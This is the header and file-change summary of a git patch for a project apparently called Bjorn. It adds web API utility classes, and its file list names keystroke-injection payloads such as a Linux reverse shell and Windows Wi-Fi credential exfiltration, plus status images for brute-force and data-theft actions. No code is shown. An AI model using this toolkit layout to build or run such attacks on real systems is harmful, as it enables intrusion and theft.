From aac77a3e76edbc4b4a2c9fe3661d199a9844747d Mon Sep 17 00:00:00 2001 From: infinition Date: Sat, 14 Mar 2026 22:33:10 +0100 Subject: [PATCH] Add Loki and Sentinel utility classes for web API endpoints - Implemented LokiUtils class with GET and POST endpoints for managing scripts, jobs, and payloads. - Added SentinelUtils class with GET and POST endpoints for managing events, rules, devices, and notifications. - Both classes include error handling and JSON response formatting. --- Bjorn.py | 87 +- ROADMAP.md | 315 + action_scheduler.py | 26 + ai_engine.py | 346 +- bifrost/__init__.py | 585 + bifrost/agent.py | 568 + bifrost/automata.py | 168 + bifrost/bettercap.py | 103 + bifrost/compat.py | 185 + bifrost/epoch.py | 292 + bifrost/faces.py | 66 + bifrost/plugins.py | 198 + bifrost/voice.py | 155 + bjorn_bluetooth.sh | 1216 +- bjorn_usb_gadget.sh | 833 +- data_consolidator.py | 96 +- database.py | 35 +- db_utils/bifrost.py | 116 + db_utils/loki.py | 51 + db_utils/queue.py | 128 + db_utils/sentinel.py | 314 + debug_schema.py | 35 + display.py | 226 +- display_layout.py | 199 + feature_logger.py | 62 + loki/__init__.py | 375 + loki/hid_controller.py | 408 + loki/hidscript.py | 748 ++ loki/jobs.py | 162 + loki/layouts/__init__.py | 45 + loki/layouts/us.json | 41 + loki/payloads/hello_world.js | 9 + loki/payloads/reverse_shell_linux.js | 13 + loki/payloads/rickroll.js | 6 + loki/payloads/wifi_exfil_win.js | 20 + orchestrator.py | 182 +- .../characters/ALVA/static/0.bmp | Bin 0 -> 438 bytes .../characters/ALVA/static/100.bmp | Bin 0 -> 438 bytes .../characters/ALVA/static/25.bmp | Bin 0 -> 438 bytes .../characters/ALVA/static/50.bmp | Bin 0 -> 438 bytes .../characters/ALVA/static/75.bmp | Bin 0 -> 438 bytes .../characters/ALVA/static/AI.bmp | Bin 0 -> 1062 bytes .../characters/ALVA/static/attack.bmp | Bin 0 -> 158 bytes .../characters/ALVA/static/attacks.bmp | Bin 0 -> 134 bytes .../characters/ALVA/static/auto.bmp | Bin 0 -> 1062 bytes .../characters/ALVA/static/bjorn1.bmp | Bin 0 -> 18462 bytes .../characters/ALVA/static/bluetooth.bmp | Bin 0 -> 446 bytes .../characters/ALVA/static/charging.bmp | Bin 0 -> 438 bytes .../characters/ALVA/static/charging1.bmp | Bin 0 -> 438 bytes .../characters/ALVA/static/connected.bmp | Bin 0 -> 670 bytes .../characters/ALVA/static/cred.bmp | Bin 0 -> 1062 bytes .../characters/ALVA/static/data.bmp | Bin 0 -> 938 bytes .../characters/ALVA/static/ethernet.bmp | Bin 0 -> 670 bytes .../characters/ALVA/static/frise.bmp | Bin 0 -> 4146 bytes .../characters/ALVA/static/gold.bmp | Bin 0 -> 1398 bytes .../characters/ALVA/static/level.bmp | Bin 0 -> 1062 bytes .../characters/ALVA/static/manual.bmp | Bin 0 -> 1062 bytes .../characters/ALVA/static/money.bmp | Bin 0 -> 1062 bytes .../characters/ALVA/static/networkkb.bmp | Bin 0 -> 134 bytes .../characters/ALVA/static/port.bmp | Bin 0 -> 1062 bytes .../characters/ALVA/static/target.bmp | Bin 0 -> 1062 bytes .../characters/ALVA/static/usb.bmp | Bin 0 -> 670 bytes .../characters/ALVA/static/vuln.bmp | Bin 0 -> 1062 bytes .../characters/ALVA/static/wifi.bmp | Bin 0 -> 950 bytes .../characters/ALVA/static/zombie.bmp | Bin 0 -> 1062 bytes .../status/BerserkerForce/BerserkerForce.bmp | Bin 0 -> 30000 bytes .../status/FTPBruteforce/FTPBruteforce.bmp | Bin 0 -> 2406 bytes .../status/FTPBruteforce/FTPBruteforce1.bmp | Bin 0 -> 18462 bytes .../characters/ALVA/status/IDLE/IDLE.bmp | Bin 0 -> 174 bytes .../characters/ALVA/status/IDLE/IDLE1.bmp | Bin 0 -> 18462 bytes .../characters/ALVA/status/IDLE/IDLE2.bmp | Bin 0 -> 18462 bytes .../characters/ALVA/status/IDLE/IDLE3.bmp | Bin 0 -> 18462 bytes .../characters/ALVA/status/IDLE/IDLE4.bmp | Bin 0 -> 18462 bytes .../status/NetworkScanner/NetworkScanner.bmp | Bin 0 -> 2406 bytes .../status/NetworkScanner/NetworkScanner1.bmp | Bin 0 -> 18462 bytes .../status/NetworkScanner/NetworkScanner2.bmp | Bin 0 -> 18462 bytes .../status/NetworkScanner/NetworkScanner3.bmp | Bin 0 -> 18462 bytes .../status/NetworkScanner/NetworkScanner4.bmp | Bin 0 -> 18462 bytes .../status/NetworkScanner/NetworkScanner5.bmp | Bin 0 -> 18462 bytes .../status/NetworkScanner/NetworkScanner6.bmp | Bin 0 -> 18462 bytes .../status/NetworkScanner/NetworkScanner7.bmp | Bin 0 -> 18462 bytes .../status/NetworkScanner/NetworkScanner8.bmp | Bin 0 -> 18462 bytes .../NmapVulnScanner/NmapVulnScanner.bmp | Bin 0 -> 2406 bytes .../NmapVulnScanner/NmapVulnScanner1.bmp | Bin 0 -> 18462 bytes .../NmapVulnScanner/NmapVulnScanner2.bmp | Bin 0 -> 18462 bytes .../NmapVulnScanner/NmapVulnScanner3.bmp | Bin 0 -> 18462 bytes .../NmapVulnScanner/NmapVulnScanner4.bmp | Bin 0 -> 18462 bytes .../NmapVulnScanner/NmapVulnScanner5.bmp | Bin 0 -> 18462 bytes .../NmapVulnScanner/NmapVulnScanner6.bmp | Bin 0 -> 18462 bytes .../NmapVulnScanner/NmapVulnScanner7.bmp | Bin 0 -> 18462 bytes .../NmapVulnScanner/NmapVulnScanner8.bmp | Bin 0 -> 18462 bytes .../status/SMBBruteforce/SMBBruteforce.bmp | Bin 0 -> 2406 bytes .../status/SMBBruteforce/SMBBruteforce1.bmp | Bin 0 -> 18462 bytes .../status/SMBBruteforce/SMBBruteforce10.bmp | Bin 0 -> 18462 bytes .../status/SMBBruteforce/SMBBruteforce11.bmp | Bin 0 -> 18462 bytes .../status/SMBBruteforce/SMBBruteforce12.bmp | Bin 0 -> 18462 bytes .../status/SMBBruteforce/SMBBruteforce13.bmp | Bin 0 -> 18462 bytes .../status/SMBBruteforce/SMBBruteforce2.bmp | Bin 0 -> 18462 bytes .../status/SMBBruteforce/SMBBruteforce3.bmp | Bin 0 -> 18462 bytes .../status/SMBBruteforce/SMBBruteforce4.bmp | Bin 0 -> 18462 bytes .../status/SMBBruteforce/SMBBruteforce5.bmp | Bin 0 -> 18462 bytes .../status/SMBBruteforce/SMBBruteforce6.bmp | Bin 0 -> 18462 bytes .../status/SMBBruteforce/SMBBruteforce7.bmp | Bin 0 -> 18462 bytes .../status/SMBBruteforce/SMBBruteforce8.bmp | Bin 0 -> 18462 bytes .../status/SMBBruteforce/SMBBruteforce9.bmp | Bin 0 -> 18462 bytes .../status/SQLBruteforce/SQLBruteforce.bmp | Bin 0 -> 2406 bytes .../status/SQLBruteforce/SQLBruteforce1.bmp | Bin 0 -> 18462 bytes .../status/SSHBruteforce/SSHBruteforce.bmp | Bin 0 -> 2406 bytes .../status/SSHBruteforce/SSHBruteforce1.bmp | Bin 0 -> 18462 bytes .../status/SSHBruteforce/SSHBruteforce10.bmp | Bin 0 -> 18462 bytes .../status/SSHBruteforce/SSHBruteforce11.bmp | Bin 0 -> 18462 bytes .../status/SSHBruteforce/SSHBruteforce12.bmp | Bin 0 -> 18462 bytes .../status/SSHBruteforce/SSHBruteforce13.bmp | Bin 0 -> 18462 bytes .../status/SSHBruteforce/SSHBruteforce2.bmp | Bin 0 -> 18462 bytes .../status/SSHBruteforce/SSHBruteforce3.bmp | Bin 0 -> 18462 bytes .../status/SSHBruteforce/SSHBruteforce4.bmp | Bin 0 -> 18462 bytes .../status/SSHBruteforce/SSHBruteforce5.bmp | Bin 0 -> 18462 bytes .../status/SSHBruteforce/SSHBruteforce6.bmp | Bin 0 -> 18462 bytes .../status/SSHBruteforce/SSHBruteforce7.bmp | Bin 0 -> 18462 bytes .../status/SSHBruteforce/SSHBruteforce8.bmp | Bin 0 -> 18462 bytes .../status/SSHBruteforce/SSHBruteforce9.bmp | Bin 0 -> 18462 bytes .../ALVA/status/StealDataSQL/StealDataSQL.bmp | Bin 0 -> 18462 bytes .../status/StealDataSQL/StealDataSQL1.bmp | Bin 0 -> 18462 bytes .../status/StealDataSQL/StealDataSQL10.bmp | Bin 0 -> 18462 bytes .../status/StealDataSQL/StealDataSQL2.bmp | Bin 0 -> 18462 bytes .../status/StealDataSQL/StealDataSQL3.bmp | Bin 0 -> 18462 bytes .../status/StealDataSQL/StealDataSQL4.bmp | Bin 0 -> 18462 bytes .../status/StealDataSQL/StealDataSQL5.bmp | Bin 0 -> 18462 bytes .../status/StealDataSQL/StealDataSQL6.bmp | Bin 0 -> 18462 bytes .../status/StealDataSQL/StealDataSQL7.bmp | Bin 0 -> 18462 bytes .../status/StealDataSQL/StealDataSQL8.bmp | Bin 0 -> 18462 bytes .../status/StealDataSQL/StealDataSQL9.bmp | Bin 0 -> 18462 bytes .../status/StealFilesFTP/StealFilesFTP.bmp | Bin 0 -> 2406 bytes .../status/StealFilesFTP/StealFilesFTP1.bmp | Bin 0 -> 18462 bytes .../status/StealFilesSMB/StealFilesSMB.bmp | Bin 0 -> 2406 bytes .../status/StealFilesSMB/StealFilesSMB1.bmp | Bin 0 -> 18462 bytes .../status/StealFilesSSH/StealFilesSSH.bmp | Bin 0 -> 2406 bytes .../status/StealFilesSSH/StealFilesSSH1.bmp | Bin 0 -> 18462 bytes .../status/StealFilesSSH/StealFilesSSH10.bmp | Bin 0 -> 18462 bytes .../status/StealFilesSSH/StealFilesSSH11.bmp | Bin 0 -> 18462 bytes .../status/StealFilesSSH/StealFilesSSH12.bmp | Bin 0 -> 18462 bytes .../status/StealFilesSSH/StealFilesSSH13.bmp | Bin 0 -> 18462 bytes .../status/StealFilesSSH/StealFilesSSH2.bmp | Bin 0 -> 18462 bytes .../status/StealFilesSSH/StealFilesSSH3.bmp | Bin 0 -> 18462 bytes .../status/StealFilesSSH/StealFilesSSH4.bmp | Bin 0 -> 18462 bytes .../status/StealFilesSSH/StealFilesSSH5.bmp | Bin 0 -> 18462 bytes .../status/StealFilesSSH/StealFilesSSH6.bmp | Bin 0 -> 18462 bytes .../status/StealFilesSSH/StealFilesSSH7.bmp | Bin 0 -> 18462 bytes .../status/StealFilesSSH/StealFilesSSH8.bmp | Bin 0 -> 18462 bytes .../status/StealFilesSSH/StealFilesSSH9.bmp | Bin 0 -> 18462 bytes .../StealFilesTelnet/StealFilesTelnet.bmp | Bin 0 -> 2406 bytes .../StealFilesTelnet/StealFilesTelnet1.bmp | Bin 0 -> 18462 bytes .../TelnetBruteforce/TelnetBruteforce.bmp | Bin 0 -> 2406 bytes .../TelnetBruteforce/TelnetBruteforce1.bmp | Bin 0 -> 18462 bytes .../status/TestStandalone/TestStandalone.bmp | Bin 0 -> 2406 bytes .../status/TestStandalone/TestStandalone1.bmp | Bin 0 -> 18462 bytes .../characters/BJORN/static/0.bmp | Bin 0 -> 438 bytes .../characters/BJORN/static/100.bmp | Bin 0 -> 438 bytes .../characters/BJORN/static/25.bmp | Bin 0 -> 438 bytes .../characters/BJORN/static/50.bmp | Bin 0 -> 438 bytes .../characters/BJORN/static/75.bmp | Bin 0 -> 438 bytes .../characters/BJORN/static/AI.bmp | Bin 0 -> 1062 bytes .../characters/BJORN/static/attack.bmp | Bin 0 -> 158 bytes .../characters/BJORN/static/attacks.bmp | Bin 0 -> 134 bytes .../characters/BJORN/static/auto.bmp | Bin 0 -> 1062 bytes .../characters/BJORN/static/bjorn1.bmp | Bin 0 -> 18462 bytes .../characters/BJORN/static/bluetooth.bmp | Bin 0 -> 446 bytes .../characters/BJORN/static/charging.bmp | Bin 0 -> 438 bytes .../characters/BJORN/static/charging1.bmp | Bin 0 -> 438 bytes .../characters/BJORN/static/connected.bmp | Bin 0 -> 670 bytes .../characters/BJORN/static/cred.bmp | Bin 0 -> 1062 bytes .../characters/BJORN/static/data.bmp | Bin 0 -> 938 bytes .../characters/BJORN/static/ethernet.bmp | Bin 0 -> 670 bytes .../characters/BJORN/static/frise.bmp | Bin 0 -> 4146 bytes .../characters/BJORN/static/gold.bmp | Bin 0 -> 1398 bytes .../characters/BJORN/static/level.bmp | Bin 0 -> 1062 bytes .../characters/BJORN/static/manual.bmp | Bin 0 -> 1062 bytes .../characters/BJORN/static/money.bmp | Bin 0 -> 1062 bytes .../characters/BJORN/static/networkkb.bmp | Bin 0 -> 134 bytes .../characters/BJORN/static/port.bmp | Bin 0 -> 1062 bytes .../characters/BJORN/static/target.bmp | Bin 0 -> 1062 bytes .../characters/BJORN/static/usb.bmp | Bin 0 -> 670 bytes .../characters/BJORN/static/vuln.bmp | Bin 0 -> 1062 bytes .../characters/BJORN/static/wifi.bmp | Bin 0 -> 950 bytes .../characters/BJORN/static/zombie.bmp | Bin 0 -> 1062 bytes .../status/BerserkerForce/BerserkerForce.bmp | Bin 0 -> 30000 bytes .../status/FTPBruteforce/FTPBruteforce.bmp | Bin 0 -> 2406 bytes .../status/FTPBruteforce/FTPBruteforce1.bmp | Bin 0 -> 18462 bytes .../characters/BJORN/status/IDLE/IDLE.bmp | Bin 0 -> 174 bytes .../characters/BJORN/status/IDLE/IDLE1.bmp | Bin 0 -> 18462 bytes .../characters/BJORN/status/IDLE/IDLE10.bmp | Bin 0 -> 18462 bytes .../characters/BJORN/status/IDLE/IDLE11.bmp | Bin 0 -> 18462 bytes .../characters/BJORN/status/IDLE/IDLE12.bmp | Bin 0 -> 18462 bytes .../characters/BJORN/status/IDLE/IDLE13.bmp | Bin 0 -> 18462 bytes .../characters/BJORN/status/IDLE/IDLE14.bmp | Bin 0 -> 18462 bytes .../characters/BJORN/status/IDLE/IDLE15.bmp | Bin 0 -> 18462 bytes .../characters/BJORN/status/IDLE/IDLE16.bmp | Bin 0 -> 18462 bytes .../characters/BJORN/status/IDLE/IDLE17.bmp | Bin 0 -> 18462 bytes .../characters/BJORN/status/IDLE/IDLE18.bmp | Bin 0 -> 18462 bytes .../characters/BJORN/status/IDLE/IDLE19.bmp | Bin 0 -> 18462 bytes .../characters/BJORN/status/IDLE/IDLE2.bmp | Bin 0 -> 18462 bytes .../characters/BJORN/status/IDLE/IDLE20.bmp | Bin 0 -> 18462 bytes .../characters/BJORN/status/IDLE/IDLE21.bmp | Bin 0 -> 18462 bytes .../characters/BJORN/status/IDLE/IDLE22.bmp | Bin 0 -> 18462 bytes .../characters/BJORN/status/IDLE/IDLE23.bmp | Bin 0 -> 18462 bytes .../characters/BJORN/status/IDLE/IDLE24.bmp | Bin 0 -> 18462 bytes .../characters/BJORN/status/IDLE/IDLE25.bmp | Bin 0 -> 18462 bytes .../characters/BJORN/status/IDLE/IDLE26.bmp | Bin 0 -> 18462 bytes .../characters/BJORN/status/IDLE/IDLE27.bmp | Bin 0 -> 18462 bytes .../characters/BJORN/status/IDLE/IDLE28.bmp | Bin 0 -> 18462 bytes .../characters/BJORN/status/IDLE/IDLE29.bmp | Bin 0 -> 18462 bytes .../characters/BJORN/status/IDLE/IDLE3.bmp | Bin 0 -> 18462 bytes .../characters/BJORN/status/IDLE/IDLE30.bmp | Bin 0 -> 18462 bytes .../characters/BJORN/status/IDLE/IDLE31.bmp | Bin 0 -> 18462 bytes .../characters/BJORN/status/IDLE/IDLE32.bmp | Bin 0 -> 18462 bytes .../characters/BJORN/status/IDLE/IDLE33.bmp | Bin 0 -> 18462 bytes .../characters/BJORN/status/IDLE/IDLE34.bmp | Bin 0 -> 18462 bytes .../characters/BJORN/status/IDLE/IDLE35.bmp | Bin 0 -> 18462 bytes .../characters/BJORN/status/IDLE/IDLE4.bmp | Bin 0 -> 18462 bytes .../characters/BJORN/status/IDLE/IDLE5.bmp | Bin 0 -> 18462 bytes .../characters/BJORN/status/IDLE/IDLE6.bmp | Bin 0 -> 18462 bytes .../characters/BJORN/status/IDLE/IDLE7.bmp | Bin 0 -> 18462 bytes .../characters/BJORN/status/IDLE/IDLE8.bmp | Bin 0 -> 18462 bytes .../characters/BJORN/status/IDLE/IDLE9.bmp | Bin 0 -> 18462 bytes .../status/NetworkScanner/NetworkScanner.bmp | Bin 0 -> 2406 bytes .../status/NetworkScanner/NetworkScanner1.bmp | Bin 0 -> 18462 bytes .../status/NetworkScanner/NetworkScanner2.bmp | Bin 0 -> 18462 bytes .../status/NetworkScanner/NetworkScanner3.bmp | Bin 0 -> 18462 bytes .../status/NetworkScanner/NetworkScanner4.bmp | Bin 0 -> 18462 bytes .../status/NetworkScanner/NetworkScanner5.bmp | Bin 0 -> 18462 bytes .../status/NetworkScanner/NetworkScanner6.bmp | Bin 0 -> 18462 bytes .../status/NetworkScanner/NetworkScanner7.bmp | Bin 0 -> 18462 bytes .../status/NetworkScanner/NetworkScanner8.bmp | Bin 0 -> 18462 bytes .../NmapVulnScanner/NmapVulnScanner.bmp | Bin 0 -> 2406 bytes .../NmapVulnScanner/NmapVulnScanner1.bmp | Bin 0 -> 18462 bytes .../NmapVulnScanner/NmapVulnScanner2.bmp | Bin 0 -> 18462 bytes .../NmapVulnScanner/NmapVulnScanner3.bmp | Bin 0 -> 18462 bytes .../NmapVulnScanner/NmapVulnScanner4.bmp | Bin 0 -> 18462 bytes .../NmapVulnScanner/NmapVulnScanner5.bmp | Bin 0 -> 18462 bytes .../NmapVulnScanner/NmapVulnScanner6.bmp | Bin 0 -> 18462 bytes .../NmapVulnScanner/NmapVulnScanner7.bmp | Bin 0 -> 18462 bytes .../NmapVulnScanner/NmapVulnScanner8.bmp | Bin 0 -> 18462 bytes .../status/SMBBruteforce/SMBBruteforce.bmp | Bin 0 -> 2406 bytes .../status/SMBBruteforce/SMBBruteforce1.bmp | Bin 0 -> 18462 bytes .../status/SMBBruteforce/SMBBruteforce10.bmp | Bin 0 -> 18462 bytes .../status/SMBBruteforce/SMBBruteforce11.bmp | Bin 0 -> 18462 bytes .../status/SMBBruteforce/SMBBruteforce12.bmp | Bin 0 -> 18462 bytes .../status/SMBBruteforce/SMBBruteforce13.bmp | Bin 0 -> 18462 bytes .../status/SMBBruteforce/SMBBruteforce2.bmp | Bin 0 -> 18462 bytes .../status/SMBBruteforce/SMBBruteforce3.bmp | Bin 0 -> 18462 bytes .../status/SMBBruteforce/SMBBruteforce4.bmp | Bin 0 -> 18462 bytes .../status/SMBBruteforce/SMBBruteforce5.bmp | Bin 0 -> 18462 bytes .../status/SMBBruteforce/SMBBruteforce6.bmp | Bin 0 -> 18462 bytes .../status/SMBBruteforce/SMBBruteforce7.bmp | Bin 0 -> 18462 bytes .../status/SMBBruteforce/SMBBruteforce8.bmp | Bin 0 -> 18462 bytes .../status/SMBBruteforce/SMBBruteforce9.bmp | Bin 0 -> 18462 bytes .../status/SQLBruteforce/SQLBruteforce.bmp | Bin 0 -> 2406 bytes .../status/SQLBruteforce/SQLBruteforce1.bmp | Bin 0 -> 18462 bytes .../status/SSHBruteforce/SSHBruteforce.bmp | Bin 0 -> 2406 bytes .../status/SSHBruteforce/SSHBruteforce1.bmp | Bin 0 -> 18462 bytes .../status/SSHBruteforce/SSHBruteforce10.bmp | Bin 0 -> 18462 bytes .../status/SSHBruteforce/SSHBruteforce11.bmp | Bin 0 -> 18462 bytes .../status/SSHBruteforce/SSHBruteforce12.bmp | Bin 0 -> 18462 bytes .../status/SSHBruteforce/SSHBruteforce13.bmp | Bin 0 -> 18462 bytes .../status/SSHBruteforce/SSHBruteforce2.bmp | Bin 0 -> 18462 bytes .../status/SSHBruteforce/SSHBruteforce3.bmp | Bin 0 -> 18462 bytes .../status/SSHBruteforce/SSHBruteforce4.bmp | Bin 0 -> 18462 bytes .../status/SSHBruteforce/SSHBruteforce5.bmp | Bin 0 -> 18462 bytes .../status/SSHBruteforce/SSHBruteforce6.bmp | Bin 0 -> 18462 bytes .../status/SSHBruteforce/SSHBruteforce7.bmp | Bin 0 -> 18462 bytes .../status/SSHBruteforce/SSHBruteforce8.bmp | Bin 0 -> 18462 bytes .../status/SSHBruteforce/SSHBruteforce9.bmp | Bin 0 -> 18462 bytes .../status/StealDataSQL/StealDataSQL.bmp | Bin 0 -> 18462 bytes .../status/StealDataSQL/StealDataSQL1.bmp | Bin 0 -> 18462 bytes .../status/StealDataSQL/StealDataSQL10.bmp | Bin 0 -> 18462 bytes .../status/StealDataSQL/StealDataSQL2.bmp | Bin 0 -> 18462 bytes .../status/StealDataSQL/StealDataSQL3.bmp | Bin 0 -> 18462 bytes .../status/StealDataSQL/StealDataSQL4.bmp | Bin 0 -> 18462 bytes .../status/StealDataSQL/StealDataSQL5.bmp | Bin 0 -> 18462 bytes .../status/StealDataSQL/StealDataSQL6.bmp | Bin 0 -> 18462 bytes .../status/StealDataSQL/StealDataSQL7.bmp | Bin 0 -> 18462 bytes .../status/StealDataSQL/StealDataSQL8.bmp | Bin 0 -> 18462 bytes .../status/StealDataSQL/StealDataSQL9.bmp | Bin 0 -> 18462 bytes .../status/StealFilesFTP/StealFilesFTP.bmp | Bin 0 -> 2406 bytes .../status/StealFilesFTP/StealFilesFTP1.bmp | Bin 0 -> 18462 bytes .../status/StealFilesSMB/StealFilesSMB.bmp | Bin 0 -> 2406 bytes .../status/StealFilesSMB/StealFilesSMB1.bmp | Bin 0 -> 18462 bytes .../status/StealFilesSSH/StealFilesSSH.bmp | Bin 0 -> 2406 bytes .../status/StealFilesSSH/StealFilesSSH1.bmp | Bin 0 -> 18462 bytes .../status/StealFilesSSH/StealFilesSSH10.bmp | Bin 0 -> 18462 bytes .../status/StealFilesSSH/StealFilesSSH11.bmp | Bin 0 -> 18462 bytes .../status/StealFilesSSH/StealFilesSSH12.bmp | Bin 0 -> 18462 bytes .../status/StealFilesSSH/StealFilesSSH13.bmp | Bin 0 -> 18462 bytes .../status/StealFilesSSH/StealFilesSSH2.bmp | Bin 0 -> 18462 bytes .../status/StealFilesSSH/StealFilesSSH3.bmp | Bin 0 -> 18462 bytes .../status/StealFilesSSH/StealFilesSSH4.bmp | Bin 0 -> 18462 bytes .../status/StealFilesSSH/StealFilesSSH5.bmp | Bin 0 -> 18462 bytes .../status/StealFilesSSH/StealFilesSSH6.bmp | Bin 0 -> 18462 bytes .../status/StealFilesSSH/StealFilesSSH7.bmp | Bin 0 -> 18462 bytes .../status/StealFilesSSH/StealFilesSSH8.bmp | Bin 0 -> 18462 bytes .../status/StealFilesSSH/StealFilesSSH9.bmp | Bin 0 -> 18462 bytes .../StealFilesTelnet/StealFilesTelnet.bmp | Bin 0 -> 2406 bytes .../StealFilesTelnet/StealFilesTelnet1.bmp | Bin 0 -> 18462 bytes .../TelnetBruteforce/TelnetBruteforce.bmp | Bin 0 -> 2406 bytes .../TelnetBruteforce/TelnetBruteforce1.bmp | Bin 0 -> 18462 bytes .../status/TestStandalone/TestStandalone.bmp | Bin 0 -> 2406 bytes .../status/TestStandalone/TestStandalone1.bmp | Bin 0 -> 18462 bytes .../characters/MEDUSA/static/0.bmp | Bin 0 -> 438 bytes .../characters/MEDUSA/static/100.bmp | Bin 0 -> 438 bytes .../characters/MEDUSA/static/25.bmp | Bin 0 -> 438 bytes .../characters/MEDUSA/static/50.bmp | Bin 0 -> 438 bytes .../characters/MEDUSA/static/75.bmp | Bin 0 -> 438 bytes .../characters/MEDUSA/static/AI.bmp | Bin 0 -> 1062 bytes .../characters/MEDUSA/static/attack.bmp | Bin 0 -> 158 bytes .../characters/MEDUSA/static/attacks.bmp | Bin 0 -> 134 bytes .../characters/MEDUSA/static/auto.bmp | Bin 0 -> 1062 bytes .../characters/MEDUSA/static/bjorn1.bmp | Bin 0 -> 18462 bytes .../characters/MEDUSA/static/bluetooth.bmp | Bin 0 -> 446 bytes .../characters/MEDUSA/static/charging.bmp | Bin 0 -> 438 bytes .../characters/MEDUSA/static/charging1.bmp | Bin 0 -> 438 bytes .../characters/MEDUSA/static/connected.bmp | Bin 0 -> 670 bytes .../characters/MEDUSA/static/cred.bmp | Bin 0 -> 1062 bytes .../characters/MEDUSA/static/data.bmp | Bin 0 -> 938 bytes .../characters/MEDUSA/static/ethernet.bmp | Bin 0 -> 670 bytes .../characters/MEDUSA/static/frise.bmp | Bin 0 -> 4146 bytes .../characters/MEDUSA/static/gold.bmp | Bin 0 -> 1398 bytes .../characters/MEDUSA/static/level.bmp | Bin 0 -> 1062 bytes .../characters/MEDUSA/static/manual.bmp | Bin 0 -> 1062 bytes .../characters/MEDUSA/static/money.bmp | Bin 0 -> 1062 bytes .../characters/MEDUSA/static/networkkb.bmp | Bin 0 -> 134 bytes .../characters/MEDUSA/static/port.bmp | Bin 0 -> 1062 bytes .../characters/MEDUSA/static/target.bmp | Bin 0 -> 1062 bytes .../characters/MEDUSA/static/usb.bmp | Bin 0 -> 670 bytes .../characters/MEDUSA/static/vuln.bmp | Bin 0 -> 1062 bytes .../characters/MEDUSA/static/wifi.bmp | Bin 0 -> 950 bytes .../characters/MEDUSA/static/zombie.bmp | Bin 0 -> 1062 bytes .../status/BerserkerForce/BerserkerForce.bmp | Bin 0 -> 30000 bytes .../status/FTPBruteforce/FTPBruteforce.bmp | Bin 0 -> 2406 bytes .../status/FTPBruteforce/FTPBruteforce1.bmp | Bin 0 -> 18462 bytes .../characters/MEDUSA/status/IDLE/IDLE.bmp | Bin 0 -> 174 bytes .../characters/MEDUSA/status/IDLE/IDLE1.bmp | Bin 0 -> 18462 bytes .../characters/MEDUSA/status/IDLE/IDLE10.bmp | Bin 0 -> 18462 bytes .../characters/MEDUSA/status/IDLE/IDLE11.bmp | Bin 0 -> 18462 bytes .../characters/MEDUSA/status/IDLE/IDLE12.bmp | Bin 0 -> 18462 bytes .../characters/MEDUSA/status/IDLE/IDLE13.bmp | Bin 0 -> 18462 bytes .../characters/MEDUSA/status/IDLE/IDLE14.bmp | Bin 0 -> 18462 bytes .../characters/MEDUSA/status/IDLE/IDLE15.bmp | Bin 0 -> 18462 bytes .../characters/MEDUSA/status/IDLE/IDLE16.bmp | Bin 0 -> 18462 bytes .../characters/MEDUSA/status/IDLE/IDLE17.bmp | Bin 0 -> 18462 bytes .../characters/MEDUSA/status/IDLE/IDLE18.bmp | Bin 0 -> 18462 bytes .../characters/MEDUSA/status/IDLE/IDLE19.bmp | Bin 0 -> 18462 bytes .../characters/MEDUSA/status/IDLE/IDLE2.bmp | Bin 0 -> 18462 bytes .../characters/MEDUSA/status/IDLE/IDLE20.bmp | Bin 0 -> 18462 bytes .../characters/MEDUSA/status/IDLE/IDLE21.bmp | Bin 0 -> 18462 bytes .../characters/MEDUSA/status/IDLE/IDLE22.bmp | Bin 0 -> 18462 bytes .../characters/MEDUSA/status/IDLE/IDLE23.bmp | Bin 0 -> 18462 bytes .../characters/MEDUSA/status/IDLE/IDLE24.bmp | Bin 0 -> 18462 bytes .../characters/MEDUSA/status/IDLE/IDLE25.bmp | Bin 0 -> 18462 bytes .../characters/MEDUSA/status/IDLE/IDLE26.bmp | Bin 0 -> 18462 bytes .../characters/MEDUSA/status/IDLE/IDLE27.bmp | Bin 0 -> 18462 bytes .../characters/MEDUSA/status/IDLE/IDLE28.bmp | Bin 0 -> 18462 bytes .../characters/MEDUSA/status/IDLE/IDLE29.bmp | Bin 0 -> 18462 bytes .../characters/MEDUSA/status/IDLE/IDLE3.bmp | Bin 0 -> 18462 bytes .../characters/MEDUSA/status/IDLE/IDLE30.bmp | Bin 0 -> 18462 bytes .../characters/MEDUSA/status/IDLE/IDLE31.bmp | Bin 0 -> 18462 bytes .../characters/MEDUSA/status/IDLE/IDLE32.bmp | Bin 0 -> 18462 bytes .../characters/MEDUSA/status/IDLE/IDLE33.bmp | Bin 0 -> 18462 bytes .../characters/MEDUSA/status/IDLE/IDLE34.bmp | Bin 0 -> 18462 bytes .../characters/MEDUSA/status/IDLE/IDLE35.bmp | Bin 0 -> 18462 bytes .../characters/MEDUSA/status/IDLE/IDLE4.bmp | Bin 0 -> 18462 bytes .../characters/MEDUSA/status/IDLE/IDLE5.bmp | Bin 0 -> 18462 bytes .../characters/MEDUSA/status/IDLE/IDLE6.bmp | Bin 0 -> 18462 bytes .../characters/MEDUSA/status/IDLE/IDLE7.bmp | Bin 0 -> 18462 bytes .../characters/MEDUSA/status/IDLE/IDLE8.bmp | Bin 0 -> 18462 bytes .../characters/MEDUSA/status/IDLE/IDLE9.bmp | Bin 0 -> 18462 bytes .../status/NetworkScanner/NetworkScanner.bmp | Bin 0 -> 2406 bytes .../status/NetworkScanner/NetworkScanner1.bmp | Bin 0 -> 18462 bytes .../status/NetworkScanner/NetworkScanner2.bmp | Bin 0 -> 18462 bytes .../status/NetworkScanner/NetworkScanner3.bmp | Bin 0 -> 18462 bytes .../status/NetworkScanner/NetworkScanner4.bmp | Bin 0 -> 18462 bytes .../status/NetworkScanner/NetworkScanner5.bmp | Bin 0 -> 18462 bytes .../status/NetworkScanner/NetworkScanner6.bmp | Bin 0 -> 18462 bytes .../status/NetworkScanner/NetworkScanner7.bmp | Bin 0 -> 18462 bytes .../status/NetworkScanner/NetworkScanner8.bmp | Bin 0 -> 18462 bytes .../NmapVulnScanner/NmapVulnScanner.bmp | Bin 0 -> 2406 bytes .../NmapVulnScanner/NmapVulnScanner1.bmp | Bin 0 -> 18462 bytes .../NmapVulnScanner/NmapVulnScanner2.bmp | Bin 0 -> 18462 bytes .../NmapVulnScanner/NmapVulnScanner3.bmp | Bin 0 -> 18462 bytes .../NmapVulnScanner/NmapVulnScanner4.bmp | Bin 0 -> 18462 bytes .../NmapVulnScanner/NmapVulnScanner5.bmp | Bin 0 -> 18462 bytes .../NmapVulnScanner/NmapVulnScanner6.bmp | Bin 0 -> 18462 bytes .../NmapVulnScanner/NmapVulnScanner7.bmp | Bin 0 -> 18462 bytes .../NmapVulnScanner/NmapVulnScanner8.bmp | Bin 0 -> 18462 bytes 